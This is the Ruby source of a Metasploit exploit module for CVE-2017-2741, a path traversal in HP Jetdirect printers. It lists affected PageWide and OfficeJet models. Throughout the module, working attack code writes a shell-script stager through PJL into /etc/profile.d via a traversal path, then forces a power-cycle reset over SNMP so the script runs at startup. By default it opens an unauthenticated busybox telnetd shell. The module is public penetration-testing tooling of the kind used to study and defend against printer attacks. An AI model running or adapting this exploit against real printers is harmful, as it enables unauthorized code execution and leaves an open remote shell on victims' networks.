Path: blob/master/modules/exploits/linux/misc/hp_jetdirect_path_traversal.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require "rex/proto/pjl"67class MetasploitModule < Msf::Exploit::Remote89Rank = NormalRanking1011include Msf::Exploit::Remote::SNMPClient12include Msf::Exploit::Remote::Tcp13include Msf::Exploit::CmdStager1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'HP Jetdirect Path Traversal Arbitrary Code Execution',20'Description' => %q{21The module exploits a path traversal via Jetdirect to gain arbitrary code execution by22writing a shell script that is loaded on startup to /etc/profile.d. Then, the printer23is restarted using SNMP. Impacted printers:24HP PageWide Managed MFP P57750dw25HP PageWide Managed P55250dw26HP PageWide Pro MFP 577z27HP PageWide Pro 552dw28HP PageWide Pro MFP 577dw29HP PageWide Pro MFP 477dw30HP PageWide Pro 452dw31HP PageWide Pro MFP 477dn32HP PageWide Pro 452dn33HP PageWide MFP 377dw34HP PageWide 352dw35HP OfficeJet Pro 8730 All-in-One Printer36HP OfficeJet Pro 8740 All-in-One Printer37HP OfficeJet Pro 8210 Printer38HP OfficeJet Pro 8216 Printer39HP OfficeJet Pro 8218 Printer4041Please read the module documentation regarding the possibility for leaving an42unauthenticated telnetd service running as a side effect of this exploit.43},44'Author' => [45'Jacob Baines', # Python PoC46'Matthew Kienow <matthew_kienow[AT]rapid7.com>', # Metasploit module47],48'License' => MSF_LICENSE,49'References' => [50[ 'CVE', '2017-2741' ],51[ 'URL', 'https://support.hp.com/lt-en/document/c05462914' ],52[ 'URL', 'http://tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution' ]53],54'Targets' => [55[56'Unix (In-Memory)',57'Platform' => 'unix',58'Arch' => ARCH_CMD,59'Payload' => {60'Compat' => {61'PayloadType' => 'cmd'62}63},64]65],66'Privileged' => true,67'DisclosureDate' => '2017-04-05',68'DefaultTarget' => 0,69'DefaultOptions' => {70'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',71'WfsDelay' => 18072},73'Notes' => {74'Reliability' => UNKNOWN_RELIABILITY,75'Stability' => UNKNOWN_STABILITY,76'SideEffects' => UNKNOWN_SIDE_EFFECTS77}78)79)8081register_options(82[83Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),84OptPort.new('SNMPPORT', [true, 'The SNMP port', 161])85]86)87end8889def execute_command(cmd, opts = {})90rpath = '0:/../../rw/var/etc/profile.d/'91stager_script_name = opts[:stager_script_name]92cmd = "(cd / && #{cmd}); rm -f /etc/profile.d/#{stager_script_name}"9394begin95# use PJL to write command stager96print_status("Connecting to port #{rport}...")9798pjl = Rex::Proto::PJL::Client.new(sock)99pjl.begin_job100101pjl.fsinit(rpath[0..1])102103print_status("Attempting to write command stager...")104rpath = "#{rpath}#{stager_script_name}"105if pjl.fsdownload(cmd, rpath, is_file: false)106print_good("Successfully wrote command stager to #{rpath}")107else108print_error("Failed to write command stager to #{rpath}")109return110end111112# verify command stager exists113unless pjl.fsquery(rpath)114print_error("Command stager does not exist at #{rpath}; aborting...")115return116end117118pjl.end_job119rescue Rex::ConnectionError120print_error("Connection Refused")121raise122end123end124125def restart_printer126pjl_port = datastore['RPORT']127snmp_port = datastore['SNMPPORT']128community = datastore['COMMUNITY']129# Printer MIB prtGeneralReset object identifier (numeric notation)130prt_general_reset = '1.3.6.1.2.1.43.5.1.1.3.1'131# prtGeneralReset powerCycleReset(4) value132power_cycle_reset = 4133134begin135# TODO: Update when there is a clean approach to using two or more mixins that both use RPORT.136datastore['RPORT'] = snmp_port137print_status("Connecting to SNMP port #{rport}...")138snmp = connect_snmp139140# get value of Printer MIB prtGeneralReset141reset_value = snmp.get_value(prt_general_reset)142reset_value = "''" if reset_value.is_a?(SNMP::Null)143print_status("Initial value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")144145# set value of Printer MIB prtGeneralReset to powerCycleReset(4)146print_status("Attempting to restart printer via SNMP...")147varbind = SNMP::VarBind.new(prt_general_reset, SNMP::Integer.new(power_cycle_reset))148response = snmp.set(varbind)149150if response.error_status == :noError151print_status("Set prtGeneralReset OID #{prt_general_reset} => #{power_cycle_reset}")152153# get value of Printer MIB prtGeneralReset154reset_value = snmp.get_value(prt_general_reset)155reset_value = "''" if reset_value.is_a?(SNMP::Null)156print_status("Current value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")157print_status("Printer restarting...")158159else160print_error("Unable to set prtGeneralReset; SNMP response error status: #{response.error_status}")161end162rescue SNMP::RequestTimeout163print_error("SNMP request timeout with community '#{community}'")164raise165rescue SNMP::UnsupportedVersion166print_error("Unsupported SNMP version specified; use '1' or '2c'")167raise168rescue Rex::ConnectionError169print_error("Connection Refused")170raise171ensure172# restore original rport value173datastore['RPORT'] = pjl_port174end175end176177def exploit178begin179opts = {180stager_script_name: "#{Rex::Text.rand_text_alpha(8)}.sh"181}182183print_status("Exploiting...")184connect185if target.name =~ /Unix/186execute_command(payload.encoded, opts)187else188execute_cmdstager(opts)189end190restart_printer191192return193ensure194disconnect195end196end197198end199200201